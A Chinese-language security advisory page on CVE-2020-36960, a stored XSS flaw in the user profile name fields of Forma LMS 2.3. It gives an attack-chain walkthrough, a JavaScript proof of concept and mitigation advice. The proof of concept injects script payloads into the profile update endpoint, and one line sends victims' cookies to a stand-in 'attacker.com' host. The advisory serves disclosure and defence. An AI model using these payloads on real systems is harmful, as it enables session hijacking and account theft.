IPBUF安全漏洞报告
English
CVE-2020-36960 CVSS 6.4 中危

CVE-2020-36960: Forma LMS 2.3 存储型XSS漏洞

披露日期: 2026-01-26

漏洞信息

漏洞编号
CVE-2020-36960
漏洞类型
存储型跨站脚本攻击(XSS)
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Forma LMS

相关标签

CVE-2020-36960存储型XSS跨站脚本攻击Forma LMS会话劫持Web安全漏洞学习管理系统

漏洞概述

CVE-2020-36960是Forma LMS 2.3版本中的一个存储型跨站脚本(Stored XSS)安全漏洞。该漏洞存在于用户个人资料设置模块,攻击者可以在用户档案的姓名(First Name)和姓氏(Last Name)字段中注入恶意JavaScript代码。由于这些字段内容会直接存储在数据库中并在其他用户访问时回显,恶意脚本会在受害者查看用户资料时自动执行,从而实现会话劫持、敏感信息窃取等攻击目的。Forma LMS是一款开源的企业级学习管理系统,广泛应用于企业内部培训、在线教育等场景,因此该漏洞可能影响大量终端用户。攻击者利用此漏洞无需高级权限,普通注册用户即可实施攻击,且利用过程无需用户交互,隐蔽性较高。由于漏洞影响范围广且利用门槛低,建议相关单位尽快采取修复措施。

技术细节

该存储型XSS漏洞源于Forma LMS 2.3在处理用户输入时未对first_name和last_name字段进行充分的输入验证和输出编码。当用户修改个人资料时,系统直接将这些字段的内容存储到数据库中,并在后续页面渲染时未进行HTML实体转义就直接输出到页面中。攻击流程如下:1) 攻击者注册账号后进入个人资料设置页面;2) 在first_name或last_name字段中注入恶意JavaScript代码,如'<script>alert(document.cookie)</script>';3) 提交保存后,恶意脚本被存储到数据库;4) 当其他用户(如管理员或同事)查看攻击者个人资料时,未转义的脚本被浏览器解析执行;5) 攻击者可借此窃取受害者的Cookie、会话令牌等敏感信息,进一步进行账户接管等后续攻击。由于攻击代码持久化在服务器端,每次有人访问攻击者资料时都会触发,具有持续性和传播性。

攻击链分析

STEP 1
步骤1
攻击者注册Forma LMS账号并登录系统
STEP 2
步骤2
访问用户个人资料编辑页面(/appLms/index.php?r=root/adm_user/update)
STEP 3
步骤3
在first_name或last_name字段中注入恶意JavaScript代码,如<script>alert(document.cookie)</script>
STEP 4
步骤4
提交表单,恶意脚本被存储到数据库中
STEP 5
步骤5
当其他用户(如管理员)访问攻击者个人资料页面时,恶意脚本被浏览器执行
STEP 6
步骤6
攻击者通过窃取的Cookie或会话令牌劫持受害者账户

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2020-36960 PoC - Forma LMS Stored XSS in User Profile // Target: Forma LMS 2.3 user profile first_name/last_name fields // Step 1: Identify the vulnerable endpoint const targetUrl = 'https://target-forma-lms.com/appLms/index.php?r=root/adm_user/update'; // Step 2: Create malicious payload for first_name or last_name field const xssPayload = "<script>alert(document.cookie)</script>"; const xssPayloadSteal = "<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>"; // Step 3: Send request to update user profile with XSS payload // Using fetch API to submit the profile update form async function exploitStoredXSS() { const formData = new FormData(); // These fields are vulnerable to XSS formData.append('firstname', xssPayload); formData.append('lastname', '<script>alert(document.domain)</script>'); // Additional required fields formData.append('email', '[email protected]'); formData.append('password', ''); try { const response = await fetch(targetUrl, { method: 'POST', body: formData, credentials: 'include' // Include session cookies }); console.log('XSS payload injected successfully'); console.log('Payload will execute when profile is viewed by other users'); } catch (error) { console.error('Exploitation failed:', error); } } exploitStoredXSS();

影响范围

Forma LMS 2.3

防御指南

临时缓解措施
临时缓解措施:在Web应用层防火墙(WAF)中配置规则,对用户资料相关接口的first_name和last_name参数进行XSS特征检测和拦截;限制普通用户修改个人资料的权限;增强会话管理机制,定期刷新会话令牌;对敏感操作实施双因素认证;监控异常访问日志和行为模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表